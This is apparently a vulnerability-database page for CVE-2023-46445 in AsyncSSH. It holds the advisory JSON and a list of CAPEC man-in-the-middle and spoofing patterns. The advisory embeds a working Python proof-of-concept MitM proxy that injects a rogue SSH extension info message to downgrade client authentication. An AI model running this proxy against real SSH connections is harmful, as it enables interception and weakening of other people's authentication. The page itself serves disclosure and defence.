Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start() Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ```Impact
Algorithm downgrade during user authentication.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46445"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-349",
"CWE-354"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-09T18:34:53Z",
"nvd_published_at": "2023-11-14T03:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.\n\n### Details\n\nThe rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.\n\nA correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).\n\n### PoC\n\n\u003cdetails\u003e\n \u003csummary\u003eAsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)\u003c/summary\u003e\n\n ```python\n #!/usr/bin/python3\n import socket\n from threading import Thread\n from binascii import unhexlify\n \n #####################################################################################\n ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##\n ## ##\n ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##\n ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##\n ## ##\n ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##\n #####################################################################################\n \n # IP and port for the TCP proxy to bind to\n PROXY_IP = \u0027127.0.0.1\u0027\n PROXY_PORT = 2222\n \n # IP and port of the server\n SERVER_IP = \u0027127.0.0.1\u0027\n SERVER_PORT = 22\n \n # Length of the individual messages\n NEW_KEYS_LENGTH = 16\n SERVER_EXT_INFO_LENGTH = 676\n \n newkeys_payload = b\u0027\\x00\\x00\\x00\\x0c\\x0a\\x15\u0027\n def contains_newkeys(data):\n return newkeys_payload in data\n \n # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs\n rogue_ext_info = unhexlify(\u00270000000C060700000000000000000000\u0027)\n def insert_rogue_ext_info(data):\n newkeys_index = data.index(newkeys_payload)\n # Insert rogue extension info and remove SSH_MSG_EXT_INFO\n return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]\n \n def forward_client_to_server(client_socket, server_socket):\n try:\n while True:\n client_data = client_socket.recv(4096)\n if len(client_data) == 0:\n break\n server_socket.send(client_data)\n except ConnectionResetError:\n print(\"[!] Client connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n def forward_server_to_client(client_socket, server_socket):\n try:\n while True:\n server_data = server_socket.recv(4096)\n if contains_newkeys(server_data):\n print(\"[+] SSH_MSG_NEWKEYS sent by server identified!\")\n if len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n print(\"[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!\")\n while len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n server_data += server_socket.recv(4096)\n print(f\"[d] Original server_data before modification: {server_data.hex()}\")\n server_data = insert_rogue_ext_info(server_data)\n print(f\"[d] Modified server_data with rogue extension info: {server_data.hex()}\")\n if len(server_data) == 0:\n break\n client_socket.send(server_data)\n except ConnectionResetError:\n print(\"[!] Target connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n if __name__ == \u0027__main__\u0027:\n print(\"--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---\")\n mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n mitm_socket.bind((PROXY_IP, PROXY_PORT))\n mitm_socket.listen(5)\n \n print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n \n try:\n while True:\n client_socket, client_addr = mitm_socket.accept()\n print(f\"[+] Accepted connection from: {client_addr}\")\n print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_socket.connect((SERVER_IP, SERVER_PORT))\n print(\"[+] Spawning new forwarding threads to handle client connection.\")\n Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n except KeyboardInterrupt:\n client_socket.close()\n server_socket.close()\n mitm_socket.close()\n ```\n\u003c/details\u003e\n\n### Impact\n\nAlgorithm downgrade during user authentication.",
"id": "GHSA-cfc2-wr2v-gxm5",
"modified": "2025-11-04T16:46:51Z",
"published": "2023-11-09T18:34:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46445"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-cfc2-wr2v-gxm5"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231222-0001"
},
{
"type": "WEB",
"url": "https://www.terrapin-attack.com"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AsyncSSH Rogue Extension Negotiation"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.